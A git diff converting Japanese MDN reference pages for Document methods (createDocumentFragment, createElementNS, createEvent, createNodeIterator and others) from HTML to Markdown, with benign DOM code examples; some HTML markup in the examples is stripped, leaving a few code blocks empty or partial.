+新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。 -

構文

+## 構文 -
var fragment = document.createDocumentFragment();
-
+``` +var fragment = document.createDocumentFragment(); +``` -

+### 値 -

新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。

+新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。 -

使用上の注意

+## 使用上の注意 -

DocumentFragment は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。

+`DocumentFragment` は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。 -

文書フラグメントはメモリ内にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページのリフロー (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、性能の改善が見込まれます。

+文書フラグメントは*メモリ内*にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページの[リフロー](https://developers.google.com/speed/articles/reflow?csw=1) (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、[性能の改善](http://ejohn.org/blog/dom-documentfragments/)が見込まれます。 -

DocumentFragment コンストラクターを使用して新しいフラグメントを生成することもできます。

+`DocumentFragment` コンストラクターを使用して新しいフラグメントを生成することもできます。 -
let fragment = new DocumentFragment();
+```js +let fragment = new DocumentFragment(); +``` -

+## 例 -

この例では、主要なウェブブラウザのリストを DocumentFragment 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。

+この例では、主要なウェブブラウザのリストを `DocumentFragment` 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。 -

HTML

+### HTML -
<ul id="ul">
-</ul>
+```html + +``` -

JavaScript

+### JavaScript -
var element  = document.getElementById('ul'); // ul が存在することを仮定
+```js
+var element  = document.getElementById('ul'); // ul が存在することを仮定
 var fragment = document.createDocumentFragment();
 var browsers = ['Firefox', 'Chrome', 'Opera',
     'Safari', 'Internet Explorer'];
@@ -56,40 +62,23 @@ browsers.forEach(function(browser) {
 });
 
 element.appendChild(fragment);
-
- -

結果

- -

{{EmbedLiveSample("Example", 600, 140)}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}DOM 1 仕様書にて初回定義
- -

ブラウザーの互換性

- -
-

{{Compat("api.Document.createDocumentFragment")}}

-
- -

関連情報

- - +``` + +### 結果 + +{{EmbedLiveSample("Example", 600, 140)}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------ | +| {{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}} | {{Spec2('DOM WHATWG')}} | DOM 1 仕様書にて初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createDocumentFragment")}} + +## 関連情報 + +- {{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}} +- {{domxref("documentFragment")}} diff --git a/files/ja/web/api/document/createelementns/index.md b/files/ja/web/api/document/createelementns/index.md index 052b838944ed2d..4b4ec6161da567 100644 --- a/files/ja/web/api/document/createelementns/index.md +++ b/files/ja/web/api/document/createelementns/index.md @@ -8,59 +8,51 @@ tags: - Reference translation_of: Web/API/Document/createElementNS --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

指定された名前空間 URI と修飾名を持つ要素を生成します。

+指定された名前空間 URI と修飾名を持つ要素を生成します。 -

名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。

+名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。 -

構文

+## 構文 -
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
-
+``` +var element = document.createElementNS(namespaceURI, qualifiedName[, options]); +``` -

引数

+### 引数 -
-
namespaceURI
-
文字列で、要素に関連付ける名前空間 URI を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは namespaceURI の値で初期化されます。妥当な名前空間 URI も参照してください。
-
qualifiedName
-
文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 qualifiedName の値で初期化されます。
-
options{{Optional_Inline}}
-
任意の ElementCreationOptions オブジェクトで、 is という名前の単一のプロパティを持ち、その値として以前に customElements.define() を使用して定義されたカスタム要素のタグ名を設定します。以前のバージョンの Custom Elements specification との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。この引数の使い方について詳しい情報は、 Extending native HTML elements を参照してください。
-
新しい要素には is 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。
-
+
namespaceURI
文字列で、要素に関連付ける名前空間 URI を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは namespaceURI の値で初期化されます。妥当な名前空間 URI も参照してください。
qualifiedName
文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 qualifiedName の値で初期化されます。
options{{Optional_Inline}}
任意の ElementCreationOptions オブジェクトで、 is という名前の単一のプロパティを持ち、その値として以前に customElements.define() を使用して定義されたカスタム要素のタグ名を設定します。以前のバージョンの Custom Elements specification との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。この引数の使い方について詳しい情報は、 Extending native HTML elements を参照してください。
新しい要素には is 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。
-

返値

+### 返値 -

The new {{DOMxRef("Element")}}.

+The new {{DOMxRef("Element")}}. -

重要な名前空間 URI

+## 重要な名前空間 URI -
-
HTML
-
http://www.w3.org/1999/xhtml
-
SVG
-
http://www.w3.org/2000/svg
-
MathML
-
http://www.w3.org/1998/Math/MathML
-
XUL {{Non-standard_Inline}}
-
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
-
XBL {{Non-standard_Inline}} {{Deprecated_Inline}}
-
http://www.mozilla.org/xbl
-
+- [HTML](/ja/docs/Web/HTML) + - : `http://www.w3.org/1999/xhtml` +- [SVG](/ja/docs/Web/SVG) + - : `http://www.w3.org/2000/svg` +- [MathML](/ja/docs/Web/MathML) + - : `http://www.w3.org/1998/Math/MathML` +- [XUL](/ja/docs/Mozilla/Tech/XUL) {{Non-standard_Inline}} + - : `http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul` +- [XBL](/ja/docs/Mozilla/Tech/XBL) {{Non-standard_Inline}} {{Deprecated_Inline}} + - : `http://www.mozilla.org/xbl` -

+## 例 -

これは新しい <div> 要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な XUL 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。

+これは新しい \
要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な [XUL](/ja/docs/Mozilla/Tech/XUL) 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。 -
<?xml version="1.0"?>
-<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+```xml
+
+
 
-<script type="application/javascript"><![CDATA[
+
 
- <vbox id="ContainerBox" flex="1">
-  <html:div>
+ 
+  
    The script on this page will add dynamic content below:
-  </html:div>
- </vbox>
-
-</page>
-
- -
-

上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。

-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}}{{Spec2("DOM WHATWG")}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.createElementNS")}}
- -

関連情報

- -
    -
  • {{DOMxRef("document.createElement()")}}
  • -
  • {{DOMxRef("document.createTextNode()")}}
  • -
  • {{DOMxRef("Node.namespaceURI")}}
  • -
  • Namespaces in XML
  • -
+ + + + +``` + +> **Note:** 上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}} | {{Spec2("DOM WHATWG")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createElementNS")}} + +## 関連情報 + +- {{DOMxRef("document.createElement()")}} +- {{DOMxRef("document.createTextNode()")}} +- {{DOMxRef("Node.namespaceURI")}} +- [Namespaces in XML](http://www.w3.org/TR/1999/REC-xml-names-19990114) diff --git a/files/ja/web/api/document/createevent/index.md b/files/ja/web/api/document/createevent/index.md index ed1d2cac4af130..5ecf00526e25e3 100644 --- a/files/ja/web/api/document/createevent/index.md +++ b/files/ja/web/api/document/createevent/index.md @@ -7,31 +7,28 @@ tags: - Method - Reference - メソッド -browser-compat: api.Document.createEvent translation_of: Web/API/Document/createEvent +browser-compat: api.Document.createEvent --- -
-

警告

-

createEvent とともに使用される多くのメソッド (initCustomEvent など) は非推奨です。代わりに イベントのコンストラクター を使用してください。

-
+> **Warning:** `createEvent` とともに使用される多くのメソッド (`initCustomEvent` など) は非推奨です。代わりに [イベントのコンストラクター](/ja/docs/Web/API/CustomEvent) を使用してください。 -
{{ApiRef("DOM")}}
+{{ApiRef("DOM")}} -

指定された型の イベント を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。

+指定された型の [イベント](/ja/docs/Web/API/Event) を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。 -

構文

+## 構文 -
var event = document.createEvent(type);
-
+```js +var event = document.createEvent(type); +``` -
    -
  • event は作成された イベント オブジェクトです。
  • -
  • type は作成するイベント型を表す文字列です。取り得るイベント型は "UIEvents", "MouseEvents", "MutationEvents", "HTMLEvents" のいずれかです。詳しくはの項目を参照してください。
  • -
+- `event` は作成された [イベント](/ja/docs/Web/API/Event) オブジェクトです。 +- `type` は作成するイベント型を表す文字列です。取り得るイベント型は `"UIEvents"`, `"MouseEvents"`, `"MutationEvents"`, `"HTMLEvents"` のいずれかです。詳しくは[注](#notes)の項目を参照してください。 -

+## 例 -
// イベントを作成します。
+```js
+// イベントを作成します。
 var event = document.createEvent('Event');
 
 // イベントの名前を 'build' に定義します。
@@ -44,49 +41,28 @@ elem.addEventListener('build', function (e) {
 
 // ターゲットは任意の Element やほかの EventTarget にすることができます。
 elem.dispatchEvent(event);
-
- -

- -

createEvent() に渡すのに適したイベント型を表す文字列は DOM 標準で定義されています。ステップ 2 の表をご覧ください。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。

- -

Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。

- - - - - - - - - - - - - - - - - - - - - - - - -
イベントモジュール標準イベントオブジェクトGecko が対応する別名
テキストイベントモジュールTextEventTextEvents
キーボードイベントモジュールKeyboardEventKeyEvents
基本イベントモジュールEventEvents
- -

仕様書

+``` + +## 注 + +`createEvent()` に渡すのに適したイベント型を表す文字列は [DOM 標準で定義されています。ステップ 2 の表をご覧ください](https://dom.spec.whatwg.org/#dom-document-createevent)。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。 + +Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。 + +| イベントモジュール | 標準イベントオブジェクト | Gecko が対応する別名 | +| ---------------------------- | ------------------------ | -------------------- | +| テキストイベントモジュール | `TextEvent` | `TextEvents` | +| キーボードイベントモジュール | `KeyboardEvent` | `KeyEvents` | +| 基本イベントモジュール | `Event` | `Events` | + +## 仕様書 {{Specifications}} -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat}}

+{{Compat}} -

関連情報

+## 関連情報 - +- [イベントの作成と発行](/ja/docs/Web/Events/Creating_and_triggering_events) diff --git a/files/ja/web/api/document/createexpression/index.md b/files/ja/web/api/document/createexpression/index.md index 0c8e3b0f578c45..6f4c702fc6f8f0 100644 --- a/files/ja/web/api/document/createexpression/index.md +++ b/files/ja/web/api/document/createexpression/index.md @@ -11,35 +11,32 @@ tags: - メソッド translation_of: Web/API/Document/createExpression --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。

+このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。 -

構文

+## 構文 -
xpathExpr = document.createExpression(xpathText, namespaceURLMapper);
-
+``` +xpathExpr = document.createExpression(xpathText, namespaceURLMapper); +``` -

引数

+### 引数 -
    -
  • xpathText は文字列で、コンパイルする XPath 式です。
  • -
  • namespaceURLMapper は、名前空間接頭辞を名前空間 URL に対応付ける関数 (または必要がなければ null) です。
  • -
+- _xpathText_ は文字列で、コンパイルする XPath 式です。 +- _namespaceURLMapper_ は、名前空間接頭辞を名前空間 URL に対応付ける関数 (または必要がなければ null) です。 -

{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}}

+{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}} -

返値

+### 返値 -

{{DOMxRef("XPathExpression")}}

+{{DOMxRef("XPathExpression")}} -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.createExpression")}}

+{{Compat("api.Document.createExpression")}} -

関連情報

+## 関連情報 -
    -
  • {{DOMxRef("Document.evaluate()")}}
  • -
  • {{DOMxRef("XPathExpression")}}
  • -
+- {{DOMxRef("Document.evaluate()")}} +- {{DOMxRef("XPathExpression")}} diff --git a/files/ja/web/api/document/createnodeiterator/index.md b/files/ja/web/api/document/createnodeiterator/index.md index e04bcfc1b8966c..8a1e73d52d1d77 100644 --- a/files/ja/web/api/document/createnodeiterator/index.md +++ b/files/ja/web/api/document/createnodeiterator/index.md @@ -10,112 +10,49 @@ tags: - メソッド translation_of: Web/API/Document/createNodeIterator --- -
{{APIRef("DOM")}}
- -

新しい {{domxref("NodeIterator")}} オブジェクトを返します。

- -

構文

- -
const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]);
-
- -

- -
-
root
-
{{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。
-
whatToShow {{ optional_inline() }}
-
オプションの unsigned long 値で、 NodeFilter の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は 0xFFFFFFFF で、 SHOW_ALL 定数を表します。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
定数数値説明
NodeFilter.SHOW_ALL-1 (すなわち unsigned long の最大値)すべてのノードを表します。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2 -

属性 {{ domxref("Attr") }} ノードを表します。

- -

これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。

-
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8{{ domxref("CDATASection") }} ノードを表します。
NodeFilter.SHOW_COMMENT128{{ domxref("Comment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT256{{ domxref("Document") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024{{ domxref("DocumentFragment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_TYPE512{{ domxref("DocumentType") }} ノードを表します。
NodeFilter.SHOW_ELEMENT1{{ domxref("Element") }} ノードを表します。
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32{{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16{{ domxref("EntityReference") }} ノードを表します。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048{{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{ domxref("ProcessingInstruction") }} nodes.
NodeFilter.SHOW_TEXT4{{ domxref("Text") }} ノードを表します。
-
-
filter {{ optional_inline() }}
-
NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは NodeFilter.FILTER_ACCEPT, NodeFilter.FILTER_REJECT, or NodeFilter.FILTER_SKIP のいずれかを返します。を参照してください。
-
- -
メモ: Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。
- -

- -
const nodeIterator = document.createNodeIterator(
+{{APIRef("DOM")}}
+
+新しい {{domxref("NodeIterator")}} オブジェクトを返します。
+
+## 構文
+
+```
+const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]);
+```
+
+### 値
+
+- `root`
+  - : {{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。
+- `whatToShow` {{ optional_inline() }}
+
+  - : オプションの `unsigned long` 値で、 [`NodeFilter`](http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter) の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は `0xFFFFFFFF` で、 `SHOW_ALL` 定数を表します。
+
+    | 定数                                                            | 数値                                     | 説明                                                                                                                                                                                                                                                                                                                                                                            |
+    | --------------------------------------------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+    | `NodeFilter.SHOW_ALL`                                           | `-1` (すなわち `unsigned long` の最大値) | すべてのノードを表します。                                                                                                                                                                                                                                                                                                                                                      |
+    | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}}        | `2`                                      | 属性 {{ domxref("Attr") }} ノードを表します。これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。                                      |
+    | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}}    | `8`                                      | {{ domxref("CDATASection") }} ノードを表します。                                                                                                                                                                                                                                                                                                                     |
+    | `NodeFilter.SHOW_COMMENT`                                       | `128`                                    | {{ domxref("Comment") }} ノードを表します。                                                                                                                                                                                                                                                                                                                             |
+    | `NodeFilter.SHOW_DOCUMENT`                                      | `256`                                    | {{ domxref("Document") }} ノードを表します。                                                                                                                                                                                                                                                                                                                             |
+    | `NodeFilter.SHOW_DOCUMENT_FRAGMENT`                             | `1024`                                   | {{ domxref("DocumentFragment") }} ノードを表します。                                                                                                                                                                                                                                                                                                                 |
+    | `NodeFilter.SHOW_DOCUMENT_TYPE`                                 | `512`                                    | {{ domxref("DocumentType") }} ノードを表します。                                                                                                                                                                                                                                                                                                                     |
+    | `NodeFilter.SHOW_ELEMENT`                                       | `1`                                      | {{ domxref("Element") }} ノードを表します。                                                                                                                                                                                                                                                                                                                             |
+    | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}}           | `32`                                     | {{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。 |
+    | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}} | `16`                                     | {{ domxref("EntityReference") }} ノードを表します。                                                                                                                                                                                                                                                                                                                 |
+    | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}}         | `2048`                                   | {{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。   |
+    | `NodeFilter.SHOW_PROCESSING_INSTRUCTION`                        | `64`                                     | Shows {{ domxref("ProcessingInstruction") }} nodes.                                                                                                                                                                                                                                                                                                               |
+    | `NodeFilter.SHOW_TEXT`                                          | `4`                                      | {{ domxref("Text") }} ノードを表します。                                                                                                                                                                                                                                                                                                                                 |
+
+- `filter` {{ optional_inline() }}
+  - : NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは `NodeFilter.FILTER_ACCEPT`, `NodeFilter.FILTER_REJECT`, or `NodeFilter.FILTER_SKIP` のいずれかを返します。[例](#example)を参照してください。
+
+> **Note:** **メモ:** Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。
+
+## 例
+
+```js
+const nodeIterator = document.createNodeIterator(
     document.body,
     NodeFilter.SHOW_ELEMENT,
     function(node) {
@@ -128,27 +65,14 @@ let currentNode;
 while (currentNode = nodeIterator.nextNode()) {
   pars.push(currentNode);
 }
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createNodeIterator")}}

+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createNodeIterator")}} diff --git a/files/ja/web/api/document/creatensresolver/index.md b/files/ja/web/api/document/creatensresolver/index.md index 0027c1366a1912..873ccf0ddb6a5d 100644 --- a/files/ja/web/api/document/creatensresolver/index.md +++ b/files/ja/web/api/document/creatensresolver/index.md @@ -9,61 +9,43 @@ tags: - Reference translation_of: Web/API/Document/createNSResolver --- -

{{ ApiRef("DOM") }}

+{{ ApiRef("DOM") }} -

指定されたノードのスコープで定義を尊重する名前空間を解決する XPathNSResolver を生成します。

+指定されたノードのスコープで定義を尊重する名前空間を解決する `XPathNSResolver` を生成します。 -

構文

+## 構文 -
nsResolver = document.createNSResolver(node);
-
+``` +nsResolver = document.createNSResolver(node); +``` -

引数

+### 引数 -
    -
  • node は名前空間の解決のためのコンテキストとして使用されるノードです。
  • -
+- `node` は名前空間の解決のためのコンテキストとして使用されるノードです。 -

返値

+### 返値 -
    -
  • nsResolver は XPathNSResolver オブジェクトです。
  • -
+- `nsResolver` は XPathNSResolver オブジェクトです。 -

+## 注 -

任意の DOM ノードをネームスペースを解決するように修正し、 XPath 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 lookupNamespaceURI が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から namespaceURI を解決する際に、ノード上の DOM Level 3 メソッド lookupNamespaceURI のように機能します。 暗黙の xml 接頭辞も正しく解決されます。

+任意の DOM ノードをネームスペースを解決するように修正し、 [XPath](/ja/docs/Web/XPath) 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 `lookupNamespaceURI` が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から `namespaceURI` を解決する際に、ノード上の DOM Level 3 メソッド `lookupNamespaceURI` のように機能します。 暗黙の `xml` 接頭辞も正しく解決されます。 -

なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば xmlns='http://www.w3.org/1999/xhtml' における p[@id='_myid'])。ヌルではない名前空間の既定の要素を照合するには、 *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] のような形を使用して特定の要素を参照するか (このアプローチは名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、ユーザー定義の名前空間リゾルバーの作成方法をお読みください。

+なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば `xmlns='http://www.w3.org/1999/xhtml'` における `p[@id='_myid'`])。ヌルではない名前空間の既定の要素を照合するには、 `*namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid']` のような形を使用して特定の要素を参照するか ([このアプローチ](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace)は名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、[ユーザー定義の名前空間リゾルバーの作成方法](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver)をお読みください。 -

createNSResolver は DOM Level 3 で導入されました。

+`createNSResolver` は DOM Level 3 で導入されました。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}}{{Spec2('DOM3 XPath')}}
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}} | {{Spec2('DOM3 XPath')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.createNSResolver")}}

+{{Compat("api.Document.createNSResolver")}} -

関連情報

+## 関連情報 - +- [document.evaluate](/ja/docs/Web/API/Document/evaluate) +- [Javascript での XPath の使用](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript) diff --git a/files/ja/web/api/document/createprocessinginstruction/index.md b/files/ja/web/api/document/createprocessinginstruction/index.md index 265c070f056404..31a13acecbd63e 100644 --- a/files/ja/web/api/document/createprocessinginstruction/index.md +++ b/files/ja/web/api/document/createprocessinginstruction/index.md @@ -10,87 +10,55 @@ tags: - createProcessInstruction translation_of: Web/API/Document/createProcessingInstruction --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

createProcessingInstruction() は新しい処理命令ノードを生成して返します。

+`createProcessingInstruction()` は新しい[処理命令](/ja/docs/Web/API/ProcessingInstruction)ノードを生成して返します。 -

新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。

+新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。 -

構文

+## 構文 -
piNode = document.createProcessingInstruction(target, data)
-
+```js +piNode = document.createProcessingInstruction(target, data) +``` -

引数

+### 引数 -
    -
  • piNode は結果の {{ domxref("ProcessingInstruction") }} ノードです。
  • -
